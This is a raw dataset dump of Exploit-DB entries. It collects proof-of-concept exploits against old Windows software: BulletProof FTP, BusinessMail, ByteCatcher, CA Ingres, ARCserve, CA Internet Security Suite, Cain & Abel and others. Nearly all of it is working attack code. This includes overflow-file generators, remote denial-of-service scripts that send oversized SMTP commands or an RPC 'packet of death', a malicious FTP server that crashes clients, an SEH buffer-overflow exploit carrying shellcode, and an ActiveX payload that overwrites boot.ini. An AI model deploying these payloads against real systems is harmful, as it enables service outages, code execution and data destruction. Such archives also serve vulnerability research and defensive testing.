deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7589
Description: BulletProof FTP Client - '.bps' Local Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-12-28
Author: Stack

Exploit:
#!/usr/bin/perl
########################################
#[*] Bug : BulletProof FTP Client .bps Local Stack Overflow (PoC)
#[*] Founded by : Mountassif Moad
#[*] Greetz : All Freind Str0ke
#[*] HOw to use => go to file after Load BP session & Enter and boom :d overflowing :d
########################################
use warnings;
use strict;
my $chars   = "This is a BulletProof FTP Client Session-File and should not be modified directly.\n" .
                        "\x41" x 100 .
      "\n21\n".
      "Stack\n".
      "bpfhljamedaldlffpojmqhpo\n".
                        "c:\/\n" .
                        "/\n";
my $file="Stack.bps";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $chars;
close($FILE);
print "$file has been created \n";
print "Credits:Stack";

# milw0rm.com [2008-12-28]
Exploit-DB #7571
Description: BulletProof FTP Client 2.63 - Local Heap Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-12-24
Author: His0k4

Exploit:
#!/usr/bin/python
#
#                   
#                  ------  |      ______ _____   (--, __*__  ______
#                  |____|  |      |    | |       | ! )  |    |     |
#                [ |    |` |      | <> | |-----> |__/   |    |     | ]
#                  | .. |  |____! |____| |____   |\     |    |-----|
#                                      |        _| \  -----  | ::: |
#                                      |         |  \
#                                |_____|         |   \
#                                                |
#                                                |
#                                               ,|.
#                                              / | \
#                                             |  |  |
#                                             |  _  |
#                                           `._\/.\/_,'
#                                             _( 8 )_
#                                            / '_ _' \
#                                           |  /{_}\  |
#                                           ` |  "  | `
#                                             |     |
#
#
# [+] Application :		BulletProof FTP (Client)  V2.63
#
# [+] Vendor URL :		http://www.bpftp.com/
#
# [+] Bug :			BulletProof FTP Client Local Heap Overflow (PoC)
#
# [+] Author :			His0k4
#
# [+] Greetings :		All friends & Muslims Hackers (dz)
#---------------------------------------------------------------------------------
# EAX 41414141
# ECX 016EC370
# EDX 00000000
# EBX 41414141
# ESP 0012F548
# EBP 0012F5C4 ASCII "AAAAAAAAAAAA"
# ESI 0170E70A ASCII "]AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
# EDI 0170E90A ASCII 03,"ftp"
# EIP 00596423 bpftpcli.00596423
#---------------------------------------------------------------------------------


header1 = "; This file was exported from BulletProof FTP Client vBulletProof FTP Client v2.63 (Build 56)\n"
header2 = "; Sitename=test site\n"
buff = "FTP://user:pass@" + "\x41" * 93


vuln = header1 + header2 + buff

try:
    out_file = open("sites.txt",'w')
    out_file.write(vuln)
    out_file.close()
    raw_input("\nBookmark file created!\n\nNow import the file and run it\n\nPress to exit...")
except:
    print "Error!"
	
# EoF

# milw0rm.com [2008-12-24]
Exploit-DB #34540
Description: BulletProof FTP Client 2010 - Buffer Overflow (SEH)
Type: dos
Platform: windows
Date: 2014-09-05
Author: Robert Kugler

Exploit:
# !/usr/bin/python
#-----------------------------------------------------------------------------#
# Exploit Title: BulletProof FTP Client 2010 - Buffer Overflow (SEH) Exploit  #
# Date: Sep 05 2014							      							  #
# Vulnerability Discovery: Gabor Seljan                                       #
# Exploit Author: Robert Kugler                                               #
# Software Link: http://www.bpftp.com/                                        #
# Version: 2010.75.0.76                                                       #
# Tested on: Windows XP                                                       #
# CVE: CVE-2014-2973 							      						  #
#                                                         		      		  #
# Thanks to corelanc0d3r for his awesome tutorials and help! ;-)	          #
# The "Enter URL" form is also vulnerable	      			                  #
#-----------------------------------------------------------------------------#

buffer = "This is a BulletProof FTP Client Session-File and should not be modified directly.\n"
buffer+= "\x20" + "\x90" * 89
buffer+= "\xeb\x06\x90\x90"
buffer+= "\xA0\xB3\x3C\x77" # shell32.dll pop pop ret @773CB3A0
buffer+= "\x90" * 119 # 160 characters space
buffer+= ("\x33\xc0\x50\x68"
         "\x2E\x65\x78\x65"
         "\x68\x63\x61\x6C"
         "\x63\x8B\xC4\x6A" # 36 bytes
         "\x01\x50\xBB\x35" # ExitProcess is located at 0x77e598fd in kernel32.dll
         "\xfd\xe4\x77\xFF"
         "\xD3\x33\xc0\x50"
	 "\xc7\xc0\x8f\x4a"
	 "\xe5\x77\xff\xe0")

buffer+= "\x90" * (1000 - len(buffer))

# Just load the "BP Session" and click on "Connect".

file = open("ftpsession.bps","w")
file.write(buffer)
file.close()
Exploit-DB #34162
Description: BulletProof FTP Client 2010 - Buffer Overflow (SEH) (PoC)
Type: dos
Platform: windows
Date: 2014-07-24
Author: Gabor Seljan

Exploit:
#-----------------------------------------------------------------------------#
# Exploit Title: BulletProof FTP Client 2010 - Buffer Overflow (SEH)          #
# Date: Jul 24 2014                                                           #
# Exploit Author: Gabor Seljan                                                #
# Software Link: http://www.bpftp.com/                                        #
# Version: 2010.75.0.76                                                       #
# Tested on: Windows XP SP3                                                   #
# CVE: CVE-2014-2973                                                          #
#-----------------------------------------------------------------------------#

'''
(a00.9e4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=41414141 ecx=007ef590 edx=00000000 esi=017a4f6a edi=017a516a
eip=005c005b esp=0012f594 ebp=0012f610 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for bpftpclient.exe -
bpftpclient+0x1c005b:
005c005b f6431c10        test    byte ptr [ebx+1Ch],10h     ds:0023:4141415d=??
0:000> !exchain
0012f59c: bpftpclient+1c044e (005c044e)
0012f5a8: bpftpclient+1c046b (005c046b)
0012f618: 43434343
Invalid exception stack at 42424242
0:000> g
(a00.9e4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=43434343 edx=7c9032bc esi=00000000 edi=00000000
eip=43434343 esp=0012f1c4 ebp=0012f1e4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
43434343 ??              ???
'''

#!/usr/bin/python

junk1 = b'\x41' * 89
nSEH  = b'\x42' * 4
SEH   = b'\x43' * 4
junk2 = b'\x44' * 1000

sploit = junk1 + nSEH + SEH + junk2

try:
  print('[+] Creating exploit file...')
  f = open('sploit.txt', 'wb')
  f.write(sploit)
  f.close()
  print('[+] Exploit file created successfully!')
except:
  print('[!] Error while creating exploit file!')

print('[+] Use the following as Server Name/IP with any user\'s credentials!')
print(sploit.decode())

##EDB Note: You can also enter the contents of the file in the "Enter URL" to cause this crash.
Exploit-DB #46875
Description: BulletProof FTP Server 2019.0.0.50 - 'DNS Address' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-20
Author: Victor Mondragón

Exploit:
#Exploit Title: BulletProof FTP Server 2019.0.0.50 - 'DNS Address' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-18
#Vendor Homepage: http://bpftpserver.com/
#Software Link: http://bpftpserver.com/products/bpftpserver/windows/download
#Tested Version: 2019.0.0.50
#Tested on: Windows 10 Single Language x64 / Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: BulletProof_DNS_Server_2019.0.0.50.py
#2.- Open bullet_storage.txt and copy content to clipboard
#3.- Open BulletProof FTP Server
#4.- Select "Settings" > "Protocols" > "FTP" > "Firewall"
#5.- Enable "DNS Address" and Paste Clipboard
#6.- Click on "Test"
#7.- Crashed

cod = "\x41" * 700

f = open('bullet_dns.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #46422
Description: BulletProof FTP Server 2019.0.0.50 - 'SMTP Server' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-02-19
Author: Victor Mondragón

Exploit:
#Exploit Title: BulletProof FTP Server 2019.0.0.50 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2018-02-19
#Vendor Homepage: http://bpftpserver.com/
#Software Link: http://bpftpserver.com/products/bpftpserver/windows/download
#Tested Version: 2019.0.0.50
#Tested on: Windows 7 x64 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: BulletProof_FTP_Server_2019.0.0.50.py
#2.- Open bullet.txt and copy content to clipboard
#3.- Open BulletProof FTP Server
#4.- Select "Settings" > "SMTP"
#5.- In "Email Server" select "SMTP Server" and Paste Clipboard
#6.- Click on "Test"
#7.- Crashed

cod = "\x41" * 257

f = open('bullet.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #46876
Description: BulletProof FTP Server 2019.0.0.50 - 'Storage-Path' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-20
Author: Victor Mondragón

Exploit:
#Exploit Title: BulletProof FTP Server 2019.0.0.50 - 'Storage-Path' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-18
#Vendor Homepage: http://bpftpserver.com/
#Software Link: http://bpftpserver.com/products/bpftpserver/windows/download
#Tested Version: 2019.0.0.50
#Tested on: Windows 10 Single Language x64 / Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: BulletProof_Storage_Server_2019.0.0.50.py
#2.- Open bullet_storage.txt and copy content to clipboard
#3.- Open BulletProof FTP Server
#4.- Select "Settings" > "Advanced"
#5.- Enable "Override Storage-Path" and Paste Clipboard
#6.- Click on "Save"
#7.- Crashed

cod = "\x41" * 500

f = open('bullet_storage.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #1164
Description: BusinessMail Server 4.60.00 - Remote Buffer Overflow
Type: dos
Platform: windows
Date: 2005-07-30
Author: Reed Arvin

Exploit:
#===== Start BusMail_SMTPDOS.pl =====
#
# Usage: BusMail_SMTPDOS.pl <ip>
#        BusMail_SMTPDOS.pl 127.0.0.1
#
# BusinessMail email server system 4.60.00
#
# Download:
# http://www.netcplus.com/
#
##########################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                    PeerPort => "25",
                                    Proto    => "TCP"))
{
        print "Attempting to kill BusinessMail SMTP server at $ARGV[0]:25...\n";

        sleep(1);

        print $socket "HELO " . "A" x 512 . "\r\n";

        sleep(1);

        print $socket "MAIL FROM:" . "A" x 512 . "\r\n";

        close($socket);
}
else
{
        print "Cannot connect to $ARGV[0]:25\n";
}
#===== Start BusMail_SMTPDOS.pl =====

# milw0rm.com [2005-07-30]
Exploit-DB #16180
Description: BWMeter 5.4.0 - '.csv' Denial of Service
Type: dos
Platform: windows
Date: 2011-02-17
Author: b0telh0

Exploit:
GotGeek Labs
http://www.gotgeek.com.br/

BWMeter v5.4.0 (.csv) Denial of Service



[+] Description

BWMeter is a powerful bandwidth meter, monitor, traffic controller and
firewall, which measures, displays and controls all traffic to/from your
computer or on your network.



[+] Information

Title: BWMeter v5.4.0 (.csv) Denial of Service
Advisory: gg-002-2011
Date: 02-14-2011
Last update: 02-16-2011
Link: http://www.gotgeek.com.br/pocs/gg-002-2011.txt
Tested on: Windows XP SP3



[+] Vulnerability

BWMeter is affected by denial of service vulnerability. 
Successful exploitation of the vulnerability allows an attacker to crash the
vulnerable application, denying service to legitimate users.

Affected Versions:
BWMeter v5.4.0

Other versions may also be vulnerable.



[+] Proof of Concept/Exploit

#!/usr/bin/python
#


junk = "\x47\x47" * 2500

try:
    file = open('b0t.csv','w');
    file.write(junk);
    file.close();
    print "\n[*] gotgeek labs"
    print "[*] http://gotgeek.com.br\n"
    print "[+] b0t.csv created."
    print "[+] Open BWMeter.exe..."
    print "[+] Statistics >> Import"
    print "[+] and Select b0t.csv\n"
except:
    print "\n[-] Error.. Can't write file to system.\n"



[+] References

http://www.desksoft.com/BWMeter.htm



[+] Credits

b0telh0
Exploit-DB #19596
Description: Byte Fusion BFTelnet 1.1 - Long Username Denial of Service
Type: dos
Platform: windows
Date: 1999-11-03
Author: Ussr Labs

Exploit:
source: https://www.securityfocus.com/bid/771/info

BFTelnet, a telnet server for Windows NT by Byte Fusion, will crash if a user name of 3090 or more characters is supplied. 


telnet victim.com
Login: [3090 charcter string]
Exploit-DB #22220
Description: ByteCatcher FTP Client 1.0.4 - 'Server Banner' Buffer Overflow
Type: dos
Platform: windows
Date: 2003-02-04
Author: Dennis Rand

Exploit:
source: https://www.securityfocus.com/bid/6762/info

It has been reported that ByteCatcher FTP client may be prone to a buffer overflow condition. This issue is due to the client not implementing bounds checking on banner data copied into local memory buffers.

It may be possible for remote attackers to corrupt sensitive regions of memory with attacker-supplied values, possibly resulting in execution of arbitrary code.

#!/usr/bin/perl
######################################################
#
# Affected systems:
# 32bit FTP Client version p9.49.01
# ByteCatcher FTP Client V1.04b
# Possible many other clients, got this problem to
#
# http://www.infowarfare.dk
#
# Dennis Rand - Matrix@infowarfare.dk
#
# When FTP client connects to this server they will CRASH
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
#
#
#
#
#######################################################
use IO::Socket;
$port = "21";
$data = "a";
$num = "4096";
$buf .= $data x $num;
$server = IO::Socket::INET->new(LocalPort => $port, Type => SOCK_STREAM, Reuse
=> 1, Listen => 2)
or die "Couldn't create tcp-server.\n";
while ($client = $server->accept()) {
print "Client connected.\n";
print "Attacking...";
print $client "$buf";
print "OK\n";
close($client);
}
Exploit-DB #14646
Description: CA Advantage Ingres 2.6 - Multiple Buffer Overflow Vulnerabilities (PoC)
Type: dos
Platform: windows
Date: 2010-08-14
Author: fdiskyou

Exploit:
# Exploit Title: Computer Associates Advantage Ingres 2.6 Multiple Buffer Overflow Vulnerabilities PoC
# Date: 2010-08-14
# Author: @fdiskyou
# e-mail: rui at deniable.org
# Version: 2.6
# Tested on: Windows 2003 Server SP1 en
# CVE: CVE-2007-3336 - CVE-2007-3338
# Notes: Fixed in the last version.
# iigcc - EDX holds a pointer that's overwritten at byte 2106 and it crashes while executing
# MOV EAX,DWORD PTR DS:[EDX+8]
# iijdbc - EDI holds a pointer that's overwritten at byte 1066 and it crashes while executing 
# CMP ECX,DWORD PTR DS:[EDI+4]
# please let me know if you are/were able to get code execution

import socket
import sys

if len(sys.argv) != 4:
    print "Usage: ./CAAdvantageDoS.py <Target IP> <Port> <Service>"
    print "Vulnerable Services: iigcc, iijdbc"
    sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
service = sys.argv[3]

if service == "iigcc":
        payload = "\x41" * 2106
elif service == "iijdbc":
        payload = "\x41" * 1066
else:
        print "Vulnerable Services: iigcc, iijdbc"
        sys.exit(1)

payload += "\x42" * 4

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print "Sending payload"
s.send(payload)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

print service + " crashed"
Exploit-DB #3248
Description: CA BrightStor ARCserve 11.5.2.0 - 'catirpc.dll' RPC Server Denial of Service
Type: dos
Platform: windows
Date: 2007-02-01
Author: Shirkdog

Exploit:
#!/usr/bin/ruby
#  
# Computer Associates (CA) Brightstor Backup Remote Procedure Call Server DoS (catirpc.dll)
#
# Catirpc.exe - Provides the endpoint mapper and enables RPC services for BrightStor Backup products.
# 
# (7c.350): Access violation - code c0000005 (!!! second chance !!!)
# eax=007ef924 ebx=2e009560 ecx=00325ad8 edx=007ef900 esi=00000000 edi=00324308
# eip=2e00eda8 esp=007ef8b8 ebp=2e00be00 iopl=0         nv up ei pl nz na po nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000206
# *** WARNING: Unable to verify checksum for C:\Program Files\CA\BrightStor ARCserve 
# Backup\CATIRPC.dll
# *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program 
# Files\CA\BrightStor ARCserve Backup\CATIRPC.dll - 
# CATIRPC_2e000000!get_hostbyname+478:
# 2e00eda8 668b4602         mov     ax,[esi+0x2]          ds:0023:00000002=???? 
#
# CATIRPC.dll does not properly handle TADDR2UADDR procedures used in RPC communications with
# the CA RPC Server (Catirpc.exe). This leads to a condition where a null memory pointer
# is dereferenced. This appears to be only a DoS, but please prove me otherwise. This was tested on
# BrightStor ARCserve Backup 11.5.2.0 (SP2)
#
# (c) Copyright 2007 Shirkdog i 
#
# Author: M. Shirk (Shirkdog) shirkdog_list ^ at % hotmail.com
# Thanks to Tebodell for testing
#
# Greetz to str0ke, Galileo. Metasploit module to follow

require 'socket'

backup_server = (ARGV[0])
target_port = (ARGV[1] || 111) 

#RPC/Portmap packet
packet_of_death= 
"\xde\xad\xbe\xef"  + # XID
"\x00\x00\x00\x00" + # Message Type: Call (0)
"\x00\x00\x00\x02" + # RPC Version: 2
"\x00\x01\x86\xa0" + # Program: Portmap
"\x00\x00\x00\x03" + # Program Version: 3
"\x00\x00\x00\x08" + # Procedure: TADDR2UADDR (8)
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" + #Credentials and Verifier all NULL
"\x46\x9b\x22\xe2" + # Portmap data
"\x00\x00\x00\x00" + # Nulls that get processed during address shifting
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" 

puts "[+]Computer Associates (CA) Brightstor ARCServe Backup Remote Procedure Call Server DoS (catirpc.dll)\n"
puts "[+]Author: Shirkdog\n\n"

if (!(backup_server && target_port))
	puts "Usage: catirpcdos.rb host port (default port: 111)\n"
	exit
else
	puts "[+]Sending UDP Packet of Death...\n"	
	sock = UDPSocket.open
	sock.connect(backup_server, target_port.to_i)
	sock.send(packet_of_death, 0)
	puts "[+]Done...\n[+]Catirpc.exe is dead\n[+]... or it will die in a few seconds for you inpatient bastards\n"
end

# milw0rm.com [2007-02-01]
Exploit-DB #31856
Description: CA Internet Security Suite - 'UmxEventCli.dll' ActiveX Control Arbitrary File Overwrite
Type: dos
Platform: windows
Date: 2008-05-28
Author: Nine:Situations:Group

Exploit:
source: https://www.securityfocus.com/bid/29406/info

A Computer Associates Internet Security Suite ActiveX control is prone to a vulnerability that lets attackers overwrite files with arbitrary, attacker-controlled content. The issue occurs because the control fails to sanitize user-supplied input.

Successful exploits will compromise affected computers and will aid in further attacks.

Internet Security Suite 2008 is vulnerable; other versions may also be affected. 

<!--
CA Internet Security Suite 2008 (UmxEventCli.dll/SaveToFile())
remote file corruption poc
by Nine:Situations:Group::surfista

this control is safe for scripting
and safe for initialize

original one: http://retrogod.altervista.org/9sg_CA_poc.html
--> 
&lt;html&gt;&lt;object classid=&#039;clsid:F13D3742-6C4F-4915-BF91-784BA02DD0BE&#039; 
id=&#039;UmxEventCliLib&#039;/&gt;
&lt;/object&gt;&lt;script language=&#039;vbscript&#039;&gt;
filePath=&quot;..\..\..\..\..\..\..\boot.ini&quot;
UmxEventCliLib.SaveToFile filePath
&lt;/script&gt;&lt;/html&gt;
Exploit-DB #5682
Description: CA Internet Security Suite 2008 - 'SaveToFile()' File Corruption (PoC)
Type: dos
Platform: windows
Date: 2008-05-28
Author: Nine:Situations:Group

Exploit:
<!--
CA Internet Security Suite 2008 (UmxEventCli.dll/SaveToFile())
remote file corruption poc
by Nine:Situations:Group::surfista

this control is safe for scripting
and safe for initialize

original one: http://retrogod.altervista.org/9sg_CA_poc.html
-->
<html><object classid='clsid:F13D3742-6C4F-4915-BF91-784BA02DD0BE' id='UmxEventCliLib'/>
</object><script language='vbscript'>
filePath="..\..\..\..\..\..\..\boot.ini"
UmxEventCliLib.SaveToFile filePath
</script></html>

# milw0rm.com [2008-05-28]
Exploit-DB #7297
Description: Cain & Abel 4.9.23 - '.rdp' Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-11-30
Author: Encrypt3d.M!nd

Exploit:
# exploit.py
##########################################################
# Cain & Abel v4.9.23 (rdp file) Buffer Overflow PoC
# (other versions may also affected)
# By:Encrypt3d.M!nd
#    encrypt3d.blogspot.com
#
# Greetz:-=Mizo=-,L!0N,El Mariachi,MiNi SpIder
##########################################################
#
# Description:
# When Using Remote Desktop Password Decoder in Cain and
# Importing ".rdp" file contains long Chars(ex:8250 chars)
# The Program Will crash.And The Following Happen:
#
# EAX:41414141  ECX:7C832648  EDX:41414142  EBX:00000000
# ESP:0012BCD4  EBP:0012BCD4  ESI:001F07A8  EDI:00000001
# EIP:7E43C201 USER32.7E43C201
#
# Access violation When Reading [41414141]
#
# And Also The Pointer to next SEH record and SE Handler
# Will gonna BE Over-wrote
#
# This Poc Will Gonna Overwrite the Pointer to next SEH
# With"42424242" and The SE Handler with"43434343"
#
##########################################################
chars = "A"*8194
ptns = "B"*4
shan = "C"*4
chars2 = "A"*200

exp=open('cain.rdp','w')
exp.write(chars+ptns+shan+chars2)
exp.close()

# milw0rm.com [2008-11-30]